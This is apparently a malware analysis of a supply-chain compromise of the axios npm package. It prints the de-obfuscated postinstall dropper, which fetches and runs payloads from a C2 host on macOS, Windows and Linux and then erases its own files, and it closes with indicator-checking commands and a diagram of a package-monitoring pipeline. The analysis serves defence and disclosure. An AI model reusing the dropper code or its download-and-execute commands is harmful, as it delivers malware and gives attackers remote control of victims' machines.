Supply Chain Attack on Axios NPM Package via North Korean Threat Actors

// axios@1.14.0 — LEGITIMATE (published via GitHub Actions OIDC) "_npmUser": { "name": "GitHub Actions", "email": "npm-oidc-no-reply@github.com", "trustedPublisher": { "id": "github", "oidcConfigId": "oidc:9061ef30-..." } } // axios@1.14.1 — MALICIOUS (published manually, no OIDC) "_npmUser": { "name": "jasonsaayman", "email": "ifstap@proton.me" // no trustedPublisher, no gitHead }

"dependencies": { "follow-redirects": "^1.15.11", "form-data": "^4.0.5", "proxy-from-env": "^2.1.0", "plain-crypto-js": "^4.2.1" // ← INJECTED }

// crypto-js@4.2.0 (LEGITIMATE — Evan Vosberg / brix) { "name": "crypto-js", "version": "4.2.0", "description": "JavaScript library of crypto standards.", "author": "Evan Vosberg", "homepage": "http://github.com/brix/crypto-js", "scripts": { "test": "grunt" // ← no postinstall } } // plain-crypto-js@4.2.1 (MALICIOUS — nrwise@proton.me) { "name": "plain-crypto-js", // ← different name, everything else cloned "version": "4.2.1", // ← version one ahead of the real package "description": "JavaScript library of crypto standards.", "author": { "name": "Evan Vosberg" }, // ← fraudulent use of real author name "homepage": "http://github.com/brix/crypto-js", // ← real repo, wrong package "scripts": { "test": "grunt", "postinstall": "node setup.js" // ← THE ONLY DIFFERENCE. The entire weapon. } }

// Contents of package.md (the clean replacement stub) { "name": "plain-crypto-js", "version": "4.2.0", // ← reports 4.2.0, not 4.2.1 — deliberate mismatch "description": "JavaScript library of crypto standards.", "license": "MIT", "author": { "name": "Evan Vosberg", "url": "http://github.com/evanvosberg" }, "homepage": "http://github.com/brix/crypto-js", "repository": { "type": "git", "url": "http://github.com/brix/crypto-js.git" }, "main": "index.js", // No "scripts" key — no postinstall, no test "dependencies": {} }

// setup.js — de-obfuscated and annotated // SHA-256: e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09 const _entry = function(campaignId) { try { // Load Node.js built-in modules via decoded string table const fs = require("fs"); // stq[2] const os = require("os"); // stq[1] const { execSync } = require("child_process"); // stq[0] // Build the full C2 URL: base + campaign ID // stq[3] = "http://sfrclak.com:8000/" const c2Url = "http://sfrclak.com:8000/" + campaignId; // → "http://sfrclak.com:8000/6202033" // Detect the operating system const platform = os.platform(); // "darwin", "win32", or other const tmpDir = os.tmpdir(); // "/tmp" on Linux/macOS, "%TEMP%" on Windows // os.type(), os.release(), os.arch() are called but results discarded — // likely sends them via the POST body or they are used in the stage-2 os.type(); os.release(); os.arch(); let execCommand = ""; // ───────────────────────────────────────────────── // BRANCH 1: macOS (darwin) // ───────────────────────────────────────────────── if (platform === "darwin") { const scriptPath = tmpDir + "/" + campaignId; // /tmp/6202033 const appleScript = ` set {a, s, d} to {"", "${c2Url}", "/Library/Caches/com.apple.act.mond"} try do shell script "curl -o " & d & a & " -d packages.npm.org/product0" & " -s " & s & " && chmod 770 " & d & " && /bin/zsh -c \\"" & d & " " & s & " &\\" &> /dev/null" end try do shell script "rm -rf ${scriptPath}"`; fs.writeFileSync(scriptPath, appleScript); execCommand = `nohup osascript "${scriptPath}" > /dev/null 2>&1 &`; // ───────────────────────────────────────────────── // BRANCH 2: Windows (win32) // ───────────────────────────────────────────────── } else if (platform === "win32") { const psPath = execSync("where powershell").toString().trim(); const wtPath = process.env.PROGRAMDATA + "\\wt.exe"; if (!fs.existsSync(wtPath)) { fs.copyFileSync(psPath, wtPath); // Creates a persistent copy of PowerShell. wt.exe is Windows Terminal's // binary name — a legitimate-looking process in %PROGRAMDATA%. } const ps1Path = tmpDir + "\\" + campaignId + ".ps1"; // %TEMP%\6202033.ps1 const vbsPath = tmpDir + "\\" + campaignId + ".vbs"; // %TEMP%\6202033.vbs const vbScript = ` Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -s -X POST -d ""packages.npm.org/product1"" ""${c2Url}"" > ""${ps1Path}"" & ""${wtPath}"" -w hidden -ep bypass -file ""${ps1Path}"" ""${c2Url}"" & del ""${ps1Path}"" /f", 0, False`; fs.writeFileSync(vbsPath, vbScript); execCommand = `cscript "${vbsPath}" //nologo && del "${vbsPath}" /f`; // ───────────────────────────────────────────────── // BRANCH 3: Linux / other // ───────────────────────────────────────────────── } else { execCommand = `curl -o /tmp/ld.py -d packages.npm.org/product2 -s ${c2Url} && nohup python3 /tmp/ld.py ${c2Url} > /dev/null 2>&1 &`; // curl and nohup chained with &&: nohup only runs if curl succeeded. // If the C2 is unreachable, chain silently fails — npm install still exits 0. } // execSync is blocking, but all three commands return immediately because // the real work is detached to background processes (nohup / cscript 0,False) execSync(execCommand); // ───────────────────────────────────────────────── // ANTI-FORENSICS: cover tracks // ───────────────────────────────────────────────── const selfPath = __filename; fs.unlink(selfPath, () => {}); // 1. Delete setup.js itself fs.unlink("package.json", () => {}); // 2. Delete malicious package.json fs.rename("package.md", "package.json", () => {}); // 3. Install clean v4.2.0 stub } catch(e) { // Silent catch — any error (C2 unreachable, permission denied, etc.) // is swallowed completely. npm install always exits with code 0. // The developer never sees any indication that anything went wrong. } }; // Entry point — "6202033" is the campaign/tracking ID _entry("6202033");

try do shell script " curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s http://sfrclak.com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" &> /dev/null" " end try do shell script "rm -rf tmp/6202033"

Set objShell = CreateObject("WScript.Shell") objShell.Run "cmd.exe /c curl -s -X POST -d packages.npm.org/product1 http://sfrclak[.]com:8000/6202033 > %TEMP%\6202033.ps1 & %PROGRAMDATA%\wt.exe -w hidden -ep bypass -file %TEMP%\6202033.ps1 http://sfrclak[.]com:8000/6202033 & del ""PS_PATH"" /f", 0, False

$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ...) $username = $env:USERNAME $hostname = $env:COMPUTERNAME $timezone = "(UTC" + $((Get-TimeZone).BaseUtcOffset.TotalHours) + " hours) " + ... $version = "$($os.Caption) $($os.OSArchitecture) $($os.Version)" $cpuType = (Get-CimInstance Win32_Processor | Select-Object -First 1).Name

curl -o /tmp/ld.py -d packages.npm.org/product2 -s http://sfrclak.com:8000/6202033 \ && nohup python3 /tmp/ld.py http://sfrclak.com:8000/6202033 > /dev/null 2>&1 &

// setup.js (deobfuscated cleanup logic) const K = __filename; t.unlink(K, (x) => {}); // delete setup.js t.unlink('package.json', (x) => {}); // delete current package.json (with postinstall) t.rename('package.md', 'package.json', (x) => {}); // replace with clean version

# Check for malicious axios versions npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4" grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4" # Check for the phantom dependency (presence = compromise) ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY COMPROMISED"

# macOS ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED" ls -la /private/tmp/.* 2>/dev/null | grep -v "^d" # dot-prefixed injected binaries # Linux ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED" ls -la /tmp/.* 2>/dev/null | grep -v "^d" # Windows (PowerShell) Test-Path "$env:PROGRAMDATA\wt.exe" Test-Path "$env:PROGRAMDATA\system.bat" Get-ItemProperty "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "MicrosoftUpdate" -ErrorAction SilentlyContinue

┌─── PyPI ──────────────────────┐ ┌─── npm ───────────────────────┐ │ │ │ │ │ changelog_since_serial() │ │ CouchDB _changes feed │ │ │ │ │ │ │ │ ▼ │ │ ▼ │ │ ┌────────────┐ │ │ ┌────────────┐ │ │ │ All PyPI │─┐ │ │ │ All npm │─┐ │ │ │ events │ │ │ │ │ changes │ │ │ │ └────────────┘ ▼ │ │ └────────────┘ ▼ │ │ hugovk ──► Watchlist │ │ download-counts ─► Watchlist │ │ │ │ │ │ │ │ "new release" events only │ │ new versions since last epoch │ └───────────────┬───────────────┘ └───────────────┬───────────────┘ │ │ ▼ ▼ ┌───────────────────┐ ┌───────────────────┐ │ Download old + new│ │ Download old + new│ │ (sdist + wheel) │ │ (tarball) │ └───────────────────┘ └───────────────────┘ │ │ └─────────────────┬─────────────────┘ ▼ ┌───────────────┐ │ Unified diff │ │ report (.md) │ └───────┬───────┘ ▼ ┌───────────────┐ ◄── LLM analysis │ Cursor Agent │ (read-only) │ CLI (ask mode)│ └───────┬───────┘ │ verdict? │ malicious │ ▼ ┌───────────────┐ │ Slack alert │ └───────────────┘